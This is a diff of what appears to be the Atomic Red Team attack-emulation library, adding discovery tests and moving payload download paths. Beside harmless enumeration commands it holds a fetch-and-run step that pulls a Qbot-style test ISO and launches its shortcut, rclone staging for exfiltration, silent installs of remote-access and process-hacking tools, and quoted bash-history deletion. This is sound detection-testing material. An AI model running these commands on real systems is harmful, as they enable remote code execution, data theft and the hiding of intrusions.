Get a listing of network connections.
|
||||
|
||||
Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
|
||||
supported_platforms:
|
||||
- windows
|
||||
@@ -85416,6 +85447,27 @@ discovery:
|
||||
|
||||
'
|
||||
name: powershell
|
||||
- name: System Network Connections Discovery via PowerShell (Process Mapping)
|
||||
auto_generated_guid: b52c8233-8f71-4bd7-9928-49fec8215cf5
|
||||
description: 'Enumerate TCP connections and map to owning process names via
|
||||
PowerShell.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
command: |
|
||||
Get-NetTCPConnection | ForEach-Object {
|
||||
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
|
||||
[pscustomobject]@{
|
||||
Local = "$($_.LocalAddress):$($_.LocalPort)"
|
||||
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
|
||||
State = $_.State
|
||||
PID = $_.OwningProcess
|
||||
Process = if ($p) { $p.ProcessName } else { $null }
|
||||
}
|
||||
} | Sort-Object State,Process | Format-Table -AutoSize
|
||||
- name: System Discovery using SharpView
|
||||
auto_generated_guid: 96f974bb-a0da-4d87-a744-ff33e73367e9
|
||||
description: "Get a listing of network connections, domains, domain users, and
|
||||
|
||||
+138
-1
@@ -18,6 +18,14 @@ Adversaries may use the information from [System Service Discovery](https://atta
|
||||
|
||||
- [Atomic Test #4 - Get-Service Execution](#atomic-test-4---get-service-execution)
|
||||
|
||||
- [Atomic Test #5 - System Service Discovery - macOS launchctl](#atomic-test-5---system-service-discovery---macos-launchctl)
|
||||
|
||||
- [Atomic Test #6 - System Service Discovery - Windows Scheduled Tasks (schtasks)](#atomic-test-6---system-service-discovery---windows-scheduled-tasks-schtasks)
|
||||
|
||||
- [Atomic Test #7 - System Service Discovery - Services Registry Enumeration](#atomic-test-7---system-service-discovery---services-registry-enumeration)
|
||||
|
||||
- [Atomic Test #8 - System Service Discovery - Linux init scripts](#atomic-test-8---system-service-discovery---linux-init-scripts)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -40,7 +48,7 @@ Upon successful execution, cmd.exe will execute service commands with expected r
|
||||
|
||||
|
||||
```cmd
|
||||
tasklist.exe
|
||||
tasklist.exe /svc
|
||||
sc query
|
||||
sc query state= all
|
||||
```
|
||||
@@ -145,4 +153,133 @@ powershell.exe Get-Service
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #5 - System Service Discovery - macOS launchctl
|
||||
Enumerates services on macOS using launchctl. Used by adversaries for
|
||||
identifying daemons, background services, and persistence mechanisms.
|
||||
|
||||
**Supported Platforms:** macOS
|
||||
|
||||
|
||||
**auto_generated_guid:** 9b378962-a75e-4856-b117-2503d6dcebba
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `sh`!
|
||||
|
||||
|
||||
```sh
|
||||
launchctl list
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #6 - System Service Discovery - Windows Scheduled Tasks (schtasks)
|
||||
Enumerates scheduled tasks on Windows using schtasks.exe.
|
||||
|
||||
**Supported Platforms:** Windows
|
||||
|
||||
|
||||
**auto_generated_guid:** 7cd7eaa3-9ccc-460d-96d2-c6fb13e6d58a
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `command_prompt`!
|
||||
|
||||
|
||||
```cmd
|
||||
schtasks /query /fo LIST /v
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #7 - System Service Discovery - Services Registry Enumeration
|
||||
Enumerates Windows services by reading the Services registry key
|
||||
(HKLM\SYSTEM\CurrentControlSet\Services) instead of using Service Control
|
||||
Manager APIs or CLI tools such as sc.exe or Get-Service.
|
||||
|
||||
**Supported Platforms:** Windows
|
||||
|
||||
|
||||
**auto_generated_guid:** d70d82bd-bb00-4837-b146-b40d025551b2
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `powershell`!
|
||||
|
||||
|
||||
```powershell
|
||||
Get-ChildItem -Path 'HKLM:\SYSTEM\CurrentControlSet\Services' |
|
||||
ForEach-Object {
|
||||
$p = Get-ItemProperty -Path $_.PSPath -ErrorAction SilentlyContinue
|
||||
[PSCustomObject]@{
|
||||
Name = $_.PSChildName
|
||||
DisplayName = $p.DisplayName
|
||||
ImagePath = $p.ImagePath
|
||||
StartType = $p.Start
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #8 - System Service Discovery - Linux init scripts
|
||||
Enumerates system services by listing SysV init scripts and runlevel
|
||||
symlinks under /etc/init.d and /etc/rc*.d.
|
||||
|
||||
**Supported Platforms:** Linux
|
||||
|
||||
|
||||
**auto_generated_guid:** 8f2a5d2b-4018-46d4-8f3f-0fea53754690
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `sh`!
|
||||
|
||||
|
||||
```sh
|
||||
echo "[*] Listing SysV init scripts (/etc/init.d):"
|
||||
if [ -d /etc/init.d ]; then ls -l /etc/init.d; else echo "/etc/init.d not present on this system"; fi
|
||||
echo
|
||||
echo "[*] Listing runlevel directories (/etc/rc*.d):"
|
||||
ls -ld /etc/rc*.d 2>/dev/null || echo "No /etc/rc*.d directories found"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -11,7 +11,7 @@ atomic_tests:
|
||||
- windows
|
||||
executor:
|
||||
command: |
|
||||
tasklist.exe
|
||||
tasklist.exe /svc
|
||||
sc query
|
||||
sc query state= all
|
||||
name: command_prompt
|
||||
@@ -53,3 +53,60 @@ atomic_tests:
|
||||
executor:
|
||||
name: command_prompt
|
||||
command: powershell.exe Get-Service
|
||||
- name: System Service Discovery - macOS launchctl
|
||||
auto_generated_guid: 9b378962-a75e-4856-b117-2503d6dcebba
|
||||
description: |
|
||||
Enumerates services on macOS using launchctl. Used by adversaries for
|
||||
identifying daemons, background services, and persistence mechanisms.
|
||||
supported_platforms:
|
||||
- macos
|
||||
executor:
|
||||
name: sh
|
||||
command: launchctl list
|
||||
- name: System Service Discovery - Windows Scheduled Tasks (schtasks)
|
||||
auto_generated_guid: 7cd7eaa3-9ccc-460d-96d2-c6fb13e6d58a
|
||||
description: |
|
||||
Enumerates scheduled tasks on Windows using schtasks.exe.
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: command_prompt
|
||||
command: schtasks /query /fo LIST /v
|
||||
|
||||
- name: System Service Discovery - Services Registry Enumeration
|
||||
auto_generated_guid: d70d82bd-bb00-4837-b146-b40d025551b2
|
||||
description: |
|
||||
Enumerates Windows services by reading the Services registry key
|
||||
(HKLM\SYSTEM\CurrentControlSet\Services) instead of using Service Control
|
||||
Manager APIs or CLI tools such as sc.exe or Get-Service.
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
command: |
|
||||
Get-ChildItem -Path 'HKLM:\SYSTEM\CurrentControlSet\Services' |
|
||||
ForEach-Object {
|
||||
$p = Get-ItemProperty -Path $_.PSPath -ErrorAction SilentlyContinue
|
||||
[PSCustomObject]@{
|
||||
Name = $_.PSChildName
|
||||
DisplayName = $p.DisplayName
|
||||
ImagePath = $p.ImagePath
|
||||
StartType = $p.Start
|
||||
}
|
||||
}
|
||||
|
||||
- name: System Service Discovery - Linux init scripts
|
||||
auto_generated_guid: 8f2a5d2b-4018-46d4-8f3f-0fea53754690
|
||||
description: |
|
||||
Enumerates system services by listing SysV init scripts and runlevel
|
||||
symlinks under /etc/init.d and /etc/rc*.d.
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
name: sh
|
||||
command: |
|
||||
echo "[*] Listing SysV init scripts (/etc/init.d):"
|
||||
if [ -d /etc/init.d ]; then ls -l /etc/init.d; else echo "/etc/init.d not present on this system"; fi
|
||||
echo
|
||||
echo "[*] Listing runlevel directories (/etc/rc*.d):"
|
||||
ls -ld /etc/rc*.d 2>/dev/null || echo "No /etc/rc*.d directories found"
|
||||
|
||||
@@ -193,10 +193,11 @@ atomic_tests:
|
||||
fsutil file createnew C:\Users\Public\Downloads\exfil.zip 20485760
|
||||
- description: 'Check if rclone zip exists'
|
||||
prereq_command: |
|
||||
if (Test-Path C:\Users\Public\Downloads\rclone-current-windows-amd64.zip) {exit 0} else {exit 1}
|
||||
if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\rclone-current-windows-amd64.zip) {exit 0} else {exit 1}
|
||||
get_prereq_command: |
|
||||
Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "C:\Users\Public\Downloads\rclone-current-windows-amd64.zip"
|
||||
Expand-Archive C:\Users\Public\Downloads\rclone-current-windows-amd64.zip -DestinationPath C:\Users\Public\Downloads\
|
||||
New-Item -Path PathToAtomicsFolder\..\ExternalPayloads -ItemType Directory -Force | Out-Null
|
||||
Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\rclone-current-windows-amd64.zip"
|
||||
Expand-Archive PathToAtomicsFolder\..\ExternalPayloads\rclone-current-windows-amd64.zip -DestinationPath PathToAtomicsFolder\..\ExternalPayloads\
|
||||
executor:
|
||||
command: |-
|
||||
$rclone_bin = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "rclone.exe" | Select-Object -ExpandProperty FullName
|
||||
|
||||
+110
-8
@@ -16,9 +16,15 @@ Utilities and commands that acquire this information include [netstat](https://a
|
||||
|
||||
- [Atomic Test #2 - System Network Connections Discovery with PowerShell](#atomic-test-2---system-network-connections-discovery-with-powershell)
|
||||
|
||||
- [Atomic Test #3 - System Network Connections Discovery FreeBSD, Linux & MacOS](#atomic-test-3---system-network-connections-discovery-freebsd-linux--macos)
|
||||
- [Atomic Test #3 - System Network Connections Discovery via PowerShell (Process Mapping)](#atomic-test-3---system-network-connections-discovery-via-powershell-process-mapping)
|
||||
|
||||
- [Atomic Test #4 - System Discovery using SharpView](#atomic-test-4---system-discovery-using-sharpview)
|
||||
- [Atomic Test #4 - System Network Connections Discovery via ss or lsof (Linux/MacOS)](#atomic-test-4---system-network-connections-discovery-via-ss-or-lsof-linuxmacos)
|
||||
|
||||
- [Atomic Test #5 - System Network Connections Discovery FreeBSD, Linux & MacOS](#atomic-test-5---system-network-connections-discovery-freebsd-linux--macos)
|
||||
|
||||
- [Atomic Test #6 - System Network Connections Discovery via sockstat (Linux, FreeBSD)](#atomic-test-6---system-network-connections-discovery-via-sockstat-linux-freebsd)
|
||||
|
||||
- [Atomic Test #7 - System Discovery using SharpView](#atomic-test-7---system-discovery-using-sharpview)
|
||||
|
||||
|
||||
<br/>
|
||||
@@ -26,7 +32,8 @@ Utilities and commands that acquire this information include [netstat](https://a
|
||||
## Atomic Test #1 - System Network Connections Discovery
|
||||
Get a listing of network connections.
|
||||
|
||||
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. Results will output via stdout.
|
||||
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
|
||||
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
|
||||
|
||||
**Supported Platforms:** Windows
|
||||
|
||||
@@ -42,9 +49,9 @@ Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net se
|
||||
|
||||
|
||||
```cmd
|
||||
netstat
|
||||
netstat -ano
|
||||
net use
|
||||
net sessions
|
||||
net sessions 2>nul
|
||||
```
|
||||
|
||||
|
||||
@@ -57,7 +64,6 @@ net sessions
|
||||
|
||||
## Atomic Test #2 - System Network Connections Discovery with PowerShell
|
||||
Get a listing of network connections.
|
||||
|
||||
Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
|
||||
|
||||
**Supported Platforms:** Windows
|
||||
@@ -85,7 +91,73 @@ Get-NetTCPConnection
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #3 - System Network Connections Discovery FreeBSD, Linux & MacOS
|
||||
## Atomic Test #3 - System Network Connections Discovery via PowerShell (Process Mapping)
|
||||
Enumerate TCP connections and map to owning process names via PowerShell.
|
||||
|
||||
**Supported Platforms:** Windows
|
||||
|
||||
|
||||
**auto_generated_guid:** b52c8233-8f71-4bd7-9928-49fec8215cf5
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `powershell`!
|
||||
|
||||
|
||||
```powershell
|
||||
Get-NetTCPConnection | ForEach-Object {
|
||||
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
|
||||
[pscustomobject]@{
|
||||
Local = "$($_.LocalAddress):$($_.LocalPort)"
|
||||
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
|
||||
State = $_.State
|
||||
PID = $_.OwningProcess
|
||||
Process = if ($p) { $p.ProcessName } else { $null }
|
||||
}
|
||||
} | Sort-Object State,Process | Format-Table -AutoSize
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #4 - System Network Connections Discovery via ss or lsof (Linux/MacOS)
|
||||
List active TCP/UDP network connections using ss, with lsof as a fallback
|
||||
when ss is unavailable. Serves as an alternative to the netstat-based test.
|
||||
|
||||
**Supported Platforms:** Linux, macOS
|
||||
|
||||
|
||||
**auto_generated_guid:** bcf05343-ef1d-4052-8a27-b00c9be42b9f
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `bash`!
|
||||
|
||||
|
||||
```bash
|
||||
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #5 - System Network Connections Discovery FreeBSD, Linux & MacOS
|
||||
Get a listing of network connections.
|
||||
|
||||
Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
|
||||
@@ -128,7 +200,37 @@ echo "Install netstat on the machine."; exit 1;
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #4 - System Discovery using SharpView
|
||||
## Atomic Test #6 - System Network Connections Discovery via sockstat (Linux, FreeBSD)
|
||||
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
|
||||
|
||||
**Supported Platforms:** Linux
|
||||
|
||||
|
||||
**auto_generated_guid:** 997bb0a6-421e-40c7-b5d2-0f493904ef9b
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `sh`!
|
||||
|
||||
|
||||
```sh
|
||||
sockstat -4
|
||||
sockstat -6 2>/dev/null || true
|
||||
sockstat -l 2>/dev/null || true
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #7 - System Discovery using SharpView
|
||||
Get a listing of network connections, domains, domain users, and etc.
|
||||
sharpview.exe located in the bin folder, an opensource red-team tool.
|
||||
Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
|
||||
|
||||
@@ -5,21 +5,21 @@ atomic_tests:
|
||||
auto_generated_guid: 0940a971-809a-48f1-9c4d-b1d785e96ee5
|
||||
description: |
|
||||
Get a listing of network connections.
|
||||
|
||||
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. Results will output via stdout.
|
||||
|
||||
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
|
||||
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
command: |
|
||||
netstat
|
||||
netstat -ano
|
||||
net use
|
||||
net sessions
|
||||
net sessions 2>nul
|
||||
name: command_prompt
|
||||
- name: System Network Connections Discovery with PowerShell
|
||||
auto_generated_guid: f069f0f1-baad-4831-aa2b-eddac4baac4a
|
||||
description: |
|
||||
Get a listing of network connections.
|
||||
|
||||
Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
|
||||
supported_platforms:
|
||||
- windows
|
||||
@@ -27,6 +27,40 @@ atomic_tests:
|
||||
command: |
|
||||
Get-NetTCPConnection
|
||||
name: powershell
|
||||
|
||||
- name: System Network Connections Discovery via PowerShell (Process Mapping)
|
||||
auto_generated_guid: b52c8233-8f71-4bd7-9928-49fec8215cf5
|
||||
description: |
|
||||
Enumerate TCP connections and map to owning process names via PowerShell.
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
command: |
|
||||
Get-NetTCPConnection | ForEach-Object {
|
||||
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
|
||||
[pscustomobject]@{
|
||||
Local = "$($_.LocalAddress):$($_.LocalPort)"
|
||||
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
|
||||
State = $_.State
|
||||
PID = $_.OwningProcess
|
||||
Process = if ($p) { $p.ProcessName } else { $null }
|
||||
}
|
||||
} | Sort-Object State,Process | Format-Table -AutoSize
|
||||
|
||||
- name: System Network Connections Discovery via ss or lsof (Linux/MacOS)
|
||||
auto_generated_guid: bcf05343-ef1d-4052-8a27-b00c9be42b9f
|
||||
description: |
|
||||
List active TCP/UDP network connections using ss, with lsof as a fallback
|
||||
when ss is unavailable. Serves as an alternative to the netstat-based test.
|
||||
supported_platforms:
|
||||
- linux
|
||||
- macos
|
||||
executor:
|
||||
name: bash
|
||||
command: |
|
||||
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
|
||||
|
||||
- name: System Network Connections Discovery FreeBSD, Linux & MacOS
|
||||
auto_generated_guid: 9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2
|
||||
description: |
|
||||
@@ -49,6 +83,19 @@ atomic_tests:
|
||||
netstat
|
||||
who -a
|
||||
name: sh
|
||||
|
||||
- name: System Network Connections Discovery via sockstat (Linux, FreeBSD)
|
||||
auto_generated_guid: 997bb0a6-421e-40c7-b5d2-0f493904ef9b
|
||||
description: |
|
||||
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
name: sh
|
||||
command: |
|
||||
sockstat -4
|
||||
sockstat -6 2>/dev/null || true
|
||||
sockstat -l 2>/dev/null || true
|
||||
|
||||
- name: System Discovery using SharpView
|
||||
auto_generated_guid: 96f974bb-a0da-4d87-a744-ff33e73367e9
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)
|
||||
|
||||
Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.
|
||||
Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>\~/.config/systemd/user/</code>.
|
||||
|
||||
An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)
|
||||
|
||||
|
||||
@@ -103,10 +103,10 @@ atomic_tests:
|
||||
if (Test-Path "c:\Program Files\Process Hacker 2\#{processhacker_exe}") {exit 0} else {exit 1}
|
||||
get_prereq_command: |-
|
||||
Write-Host Downloading Process Hacker
|
||||
New-Item -Type Directory "C:\Temp\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
||||
Invoke-WebRequest "https://versaweb.dl.sourceforge.net/project/processhacker/processhacker2/processhacker-2.39-setup.exe" -OutFile "C:\Temp\ExternalPayloads\processhacker-2.39-setup.exe"
|
||||
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
||||
Invoke-WebRequest "https://versaweb.dl.sourceforge.net/project/processhacker/processhacker2/processhacker-2.39-setup.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\processhacker-2.39-setup.exe"
|
||||
Write-Host Installing Process Hacker
|
||||
Start-Process "c:\Temp\ExternalPayloads\processhacker-2.39-setup.exe" -Wait -ArgumentList "/s"
|
||||
Start-Process "PathToAtomicsFolder\..\ExternalPayloads\processhacker-2.39-setup.exe" -Wait -ArgumentList "/s"
|
||||
executor:
|
||||
command: Start-Process -FilePath "$Env:ProgramFiles\Process Hacker 2\#{processhacker_exe}"
|
||||
name: powershell
|
||||
@@ -125,15 +125,15 @@ atomic_tests:
|
||||
dependencies:
|
||||
- description: PCHunter must be present in device
|
||||
prereq_command: |
|
||||
if (Get-ChildItem -Path C:\ -Include *PCHunter64* -File -Recurse -ErrorAction SilentlyContinue) {exit 0} else {exit 1}
|
||||
if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\PCHunter_free\#{pchunter64_exe}) {exit 0} else {exit 1}
|
||||
get_prereq_command: |-
|
||||
Write-Host Downloading PC Hunter
|
||||
New-Item -Type Directory "C:\Temp\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
||||
Invoke-WebRequest "https://www.snapfiles.com/directdl/PCHunter_free.zip" -OutFile "C:\Temp\ExternalPayloads\PCHunter_free.zip"
|
||||
Expand-Archive -LiteralPath 'C:\Temp\ExternalPayloads\PCHunter_free.zip' -DestinationPath C:\Temp\ExternalPayloads
|
||||
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
||||
Invoke-WebRequest "https://www.snapfiles.com/directdl/PCHunter_free.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PCHunter_free.zip"
|
||||
Expand-Archive -LiteralPath 'PathToAtomicsFolder\..\ExternalPayloads\PCHunter_free.zip' -DestinationPath PathToAtomicsFolder\..\ExternalPayloads
|
||||
Write-Host Unzipping Installing Process Hunter
|
||||
executor:
|
||||
command: Start-Process -FilePath "C:\Temp\ExternalPayloads\PCHunter_free\#{pchunter64_exe}"
|
||||
command: Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\PCHunter_free\#{pchunter64_exe}"
|
||||
name: powershell
|
||||
elevation_required: true
|
||||
- name: Launch Taskmgr from cmd to View running processes
|
||||
|
||||
@@ -52,7 +52,7 @@ atomic_tests:
|
||||
autosuid:
|
||||
description: Path to the autosuid shell script
|
||||
type: path
|
||||
default: PathToAtomicsFolder/T1059.004/src/AutoSUID.sh
|
||||
default: PathToAtomicsFolder/../ExternalPayloads/AutoSUID.sh
|
||||
autosuid_url:
|
||||
description: Path to download autosuid shell script
|
||||
type: url
|
||||
@@ -82,7 +82,7 @@ atomic_tests:
|
||||
linenum:
|
||||
description: Path to the LinEnum shell script
|
||||
type: path
|
||||
default: PathToAtomicsFolder/T1059.004/src/LinEnum.sh
|
||||
default: PathToAtomicsFolder/../ExternalPayloads/LinEnum.sh
|
||||
linenum_url:
|
||||
description: Path to download LinEnum shell script
|
||||
type: url
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
|
||||
|
||||
On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.
|
||||
On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>\~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm \~/.bash_history</code>.
|
||||
|
||||
Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (<code>clear logging</code> and/or <code>clear history</code>).(Citation: US-CERT-TA18-106A) On ESXi servers, command history may be manually removed from the `/var/log/shell.log` file.(Citation: Broadcom ESXi Shell Audit)
|
||||
|
||||
|
||||
@@ -8,15 +8,16 @@ atomic_tests:
|
||||
- windows
|
||||
executor:
|
||||
command: |-
|
||||
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso" -OutFile "$env:TEMP\qbot-test.iso")
|
||||
Mount-DiskImage -ImagePath "$env:TEMP\qbot-test.iso"
|
||||
$mountedpath = (Get-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" | Get-Volume).DriveLetter
|
||||
New-Item -Path PathToAtomicsFolder\..\ExternalPayloads -ItemType Directory -Force | Out-Null
|
||||
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\qbot-test.iso")
|
||||
Mount-DiskImage -ImagePath "PathToAtomicsFolder\..\ExternalPayloads\qbot-test.iso"
|
||||
$mountedpath = (Get-DiskImage -ImagePath "PathToAtomicsFolder\..\ExternalPayloads\qbot-test.iso" | Get-Volume).DriveLetter
|
||||
$finalpath = $mountedpath + ":\"
|
||||
cd $finalpath
|
||||
.\calc.exe.lnk
|
||||
cleanup_command: |-
|
||||
start-sleep -s 5
|
||||
stop-process -Name "Calculatorapp" -Force
|
||||
dismount-diskimage -ImagePath "$env:TEMP\qbot-test.iso"
|
||||
dismount-diskimage -ImagePath "PathToAtomicsFolder\..\ExternalPayloads\qbot-test.iso"
|
||||
name: powershell
|
||||
elevation_required: true
|
||||
@@ -333,10 +333,10 @@ atomic_tests:
|
||||
if (Test-Path "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}") {exit 0} else {exit 1}
|
||||
get_prereq_command: |-
|
||||
Write-Host Downloading Splashtop Streamer
|
||||
New-Item -Type Directory "C:\Temp\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
||||
Invoke-WebRequest "https://download.splashtop.com/win/Splashtop_Streamer_Win_INSTALLER_v3.6.4.1.exe" -OutFile "C:\Temp\ExternalPayloads\Splashtop.exe"
|
||||
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
||||
Invoke-WebRequest "https://download.splashtop.com/win/Splashtop_Streamer_Win_INSTALLER_v3.6.4.1.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Splashtop.exe"
|
||||
Write-Host Installing Splashtop Streamer
|
||||
Start-Process "c:\Temp\ExternalPayloads\Splashtop.exe" -Wait -ArgumentList "/s"
|
||||
Start-Process "PathToAtomicsFolder\..\ExternalPayloads\Splashtop.exe" -Wait -ArgumentList "/s"
|
||||
executor:
|
||||
command: |-
|
||||
Start-Process -FilePath "C:Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}"
|
||||
|
||||
@@ -158,9 +158,9 @@ atomic_tests:
|
||||
prereq_command: |
|
||||
if (Test-Path "Test-Path C:\Program Files (x86)\Windows Resource Kits\Tools\subinacl.exe") {exit 0} else {exit 1}
|
||||
get_prereq_command: |-
|
||||
New-Item -Path C:\Users\Public\SubInAcl -ItemType Directory | Out-Null
|
||||
Invoke-WebRequest #{SubInAclDownloadPath} -OutFile C:\Users\Public\SubInAcl\SubInAcl.msi
|
||||
msiexec.exe /i "C:\Users\Public\SubInAcl\SubInAcl.msi" /qn
|
||||
New-Item -Path PathToAtomicsFolder\..\ExternalPayloads -ItemType Directory -Force | Out-Null
|
||||
Invoke-WebRequest #{SubInAclDownloadPath} -OutFile PathToAtomicsFolder\..\ExternalPayloads\SubInAcl.msi
|
||||
msiexec.exe /i "PathToAtomicsFolder\..\ExternalPayloads\SubInAcl.msi" /qn
|
||||
executor:
|
||||
